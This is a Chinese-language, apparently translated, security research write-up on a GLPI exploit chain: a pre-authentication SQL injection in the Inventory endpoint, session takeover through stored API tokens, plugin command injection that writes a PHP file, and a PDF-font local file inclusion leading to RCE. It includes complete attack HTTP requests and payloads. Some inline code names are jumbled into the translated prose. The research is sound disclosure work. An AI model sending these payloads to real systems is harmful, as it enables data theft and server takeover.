-ylyb.png)
GLPI 中的预身份验证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)
预认证 SQL 注入
过去曾有报告称 GLPI 存在多起 SQL 注入漏洞。大多数漏洞被认为是后认证漏洞,需要账户才能触发 (1) (3) (4)。预认证漏洞则较为罕见 (2) (5),我们在外部侦察阶段发现的实例中已修复该漏洞。
GLPI 的 Inventory 原生功能(通常启用)中发现了新的 SQL 注入。此功能无需任何身份验证机制即可访问。
在撰写本文时,10.0.17这是最新稳定版本,并将以此为例,但该漏洞可能会影响以前的版本。
handleAgent() - 10.0.17
handleAgent中发现的功能是/src/Agent.phpGLPI 代理用于库存目的的可访问预身份验证功能。
<?php public function handleAgent($metadata) { /** @var array $CFG_GLPI */ global $CFG_GLPI; $deviceid = $metadata['deviceid']; $aid = false; if ($this->getFromDBByCrit(Sanitizer::dbEscapeRecursive(['deviceid' => $deviceid]))) { $aid = $this->fields['id']; }
此函数接受用户输入并将其存储到变量中然后经过清理函数自10.0.7$deviceid后传递给函数。getFromDBByCritdbEscapeRecursive
dbEscapeRecursive() - 10.0.17
<?php public static function dbEscapeRecursive(array $values): array { return array_map( function ($value) { if (is_array($value)) { return self::dbEscapeRecursive($value); } if (is_string($value)) { return self::dbEscape($value); } return $value; }, $values ); }
此函数接受一个数组作为输入,并递归调用dbEscape以转义其输入,此处漏洞很容易被捕获。如果我们可以发送一个既不是array也不是 的值呢string
handleRequest() - 10.0.17
在handleRequest解析代理请求的函数中,可以使用XML和JSON两种方式执行代理请求。
<?php switch ($this->mode) { case self::XML_MODE: return $this->handleXMLRequest($data); case self::JSON_MODE: return $this->handleJSONRequest($data); }
虽然JSON_MODEonly 执行快速json_decode,但它只能创建string、array、integer和stdClass对象(这本身并不具备__toString函数功能)。然而 可以根据用户输入XML_MODE创建一个对象。SimpleXMLElement
<?php public function handleXMLRequest($data): bool { libxml_use_internal_errors(true); if (mb_detect_encoding($data, 'UTF-8', true) === false) { $data = iconv('ISO-8859-1', 'UTF-8', $data); } $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA);
这是绕过该函数的完美候选dbEscapeRecursive,因为它是一个可以轻松转换为字符串的对象。
php > $xml = simplexml_load_string('<test>a</test>');php > var_dump($xml);object(SimpleXMLElement)#2 (1) { [0]=> string(1) "a"}php > var_dump($xml."toString");string(9) "atoString"
最终请求
为了利用此漏洞,需要精心设计一个针对代理请求端点的 XML 请求,并利用简单的基于时间的攻击来利用 SQL 注入。
POST /index.php/ajax/ HTTP/1.1Host: glpiUser-Agent: python-requests/2.32.3Content-Type: application/xmlContent-Length: 232<?xml version="1.0" encoding="UTF-8"?> <xml> <QUERY>get_params</QUERY> <deviceid>', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#</deviceid> <content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content></xml>
使用这个简单的请求,由于条件为真,服务器将休眠 5 秒1=1。现在可以使用当前 GLPI 数据库用户的权限从数据库中提取任何数据。
需要注意的是,数据库的结构在不同版本之间会有所不同。因此,上述查询中的列数可能会有所不同。
利用数据库读取绕过身份验证
read已经获取了数据库权限,那么获取有效会话的方法有很多。最明显的方法是从数据库中恢复帐户并尝试破解密码。然而,由于密码是使用 存储的bcrypt,因此恢复技术人员或超级管理员帐户的明文可能非常困难。
api_token
如果api_token在数据库中设置了帐户的,则可以使用它轻松获取有效会话并通过 API 身份验证方法访问 GLPI 的 GUI。
POST /glpi/front/login.php HTTP/1.1Host: <redacted>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0Content-Type: application/x-www-form-urlencodedContent-Length: 212Origin: http://<redacted>Connection: keep-aliveReferer: http://<redacted>/glpi/index.phpredirect=&_glpi_csrf_token=<redacted>&field<redacted>=test&field<redacted>=test&auth=local&submit=&user_token=<api_token>
然后,服务器会使用可用于访问 GUI 的有效 cookie 进行回答。
Set-Cookie: glpi_<redacted>=<redacted>; path=/
个人令牌
此令牌用于日历功能,允许您使用唯一令牌共享个人日历。此令牌使用此Session::authWithToken方法验证会话,并在打印用户日历后销毁会话。
可以通过personal_token在脚本结束执行之前强制触发致命错误来恢复模拟会话。自 10.0.9 版本起,通过将选项设置session.use_cookies为 ,此问题已得到缓解0。
经过身份验证的远程代码执行
方法 1
一旦管理员帐户被入侵,获取远程代码执行的最简单方法就是进入插件市场。它甚至曾经托管过一个“Shell 命令”插件,但后来已被禁用远程安装,然而,仍然有很多易受攻击的插件。
有时,GLPI 服务器无法直接访问互联网,但是可以从管理界面配置代理服务器,攻击者可以利用这一点,例如通过设置自己的代理服务器或配置内部公司代理。
例如,公共插件printercounters仍然容易受到系统命令注入的攻击。
POST /glpi/marketplace/printercounters/ajax/process.php HTTP/1.1Host: <redacted>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Glpi-Csrf-Token: <redacted>X-Requested-With: XMLHttpRequestContent-Length: 266Connection: keep-aliveReferer: http://<redacted>/glpi/marketplace/printercounters/front/config.form.phpCookie: glpi_<redacted>=<redacted>; stay_login=0action=killProcess&items_id=1231231';echo `{echo,PD9waHAgcGhwaW5mbygpOyA/Pg%3d%3d}|{base64,-d}|{tee,rz.php}`;%23
方法 2:本地文件包含 - 10.0.17
PDF 导出功能中还发现了本地文件包含问题。此功能允许管理员使用库将各种表格导出为 PDF 格式TCPDF。可以在配置条目中设置自定义 PDF 字体(可以通过超级管理员帐户全局更改,或由任何帐户通过其用户配置文件中的个性化选项进行更改),但无论从还是端pdffont,该字体均未正确检查目录遍历。GLPITCPDF
PDF 字体只是存储在 TCPDFfonts文件夹中的 php 文件,由于这个问题,如果字体名称受到控制,则可以包含来自系统的任何 PHP 文件。
<?php if (TCPDF_STATIC::empty_string($fontfile) OR (!@TCPDF_STATIC::file_exists($fontfile))) { // build a standard filenames for specified font $tmp_fontfile = str_replace(' ', '', $family).strtolower($style).'.php'; $fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir); if (TCPDF_STATIC::empty_string($fontfile)) { $missing_style = true; // try to remove the style part $tmp_fontfile = str_replace(' ', '', $family).'.php'; $fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir); } } // include font file if (!TCPDF_STATIC::empty_string($fontfile) AND (@TCPDF_STATIC::file_exists($fontfile))) { $type=null; $name=null; $desc=null; $up=-null; $ut=null; $cw=null; $cbbox=null; $dw=null; $enc=null; $cidinfo=null; $file=null; $ctg=null; $diff=null; $originalsize=null; $size1=null; $size2=null; include($fontfile);
要利用此漏洞,需要完成一些准备步骤。默认情况下,GLPI 不允许上传 PHP 文件,但可以通过访问 的下拉选项“文档类型”来更改此列表/front/documenttype.php
。然后,需要获取文件夹的路径GLPI_TMP_DIR
,此信息可在 中找到。获取路径后,即可通过(大多数 GLPI 版本都提供)/front/config.form.php执行简单的文件上传。/ajax/fileupload.php
更新文档类型下拉列表以允许php扩展恢复GLPI_TMP_DIR位置/front/config.form.php使用以下方式上传 PHP 文件/ajax/fileupload.php将pdffont配置设置为../../../../../../../../{GLPI_TMP_DIR}/uploadedfile例如,通过将表导出为 PDF 来触发本地文件包含/front/report.dynamic.php?item_type=Computer&sort%5B0%5D=1&order%5B0%5D=ASC&start=0&criteria%5B0%5D%5Bfield%5D=view&criteria%5B0%5D%5Blink%5D=contains&criteria%5B0%5D%5Bvalue%5D=&display_type=2
结论
库存功能GLPI容易受到未经身份验证的 SQL 注入攻击。虽然此功能默认未启用,但在我们红队评估期间遇到的大多数(如果不是全部)安装中,此功能都已启用。
通过利用此漏洞,可以通过数据库中的api_token或personal_token列(如果之前已设置)获取有效的 GUI 会话(以明文形式存储)。
一旦通过身份验证,就可以利用 PDF 导出功能利用本地文件包含漏洞,并在易受攻击的实例上实现远程代码执行。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。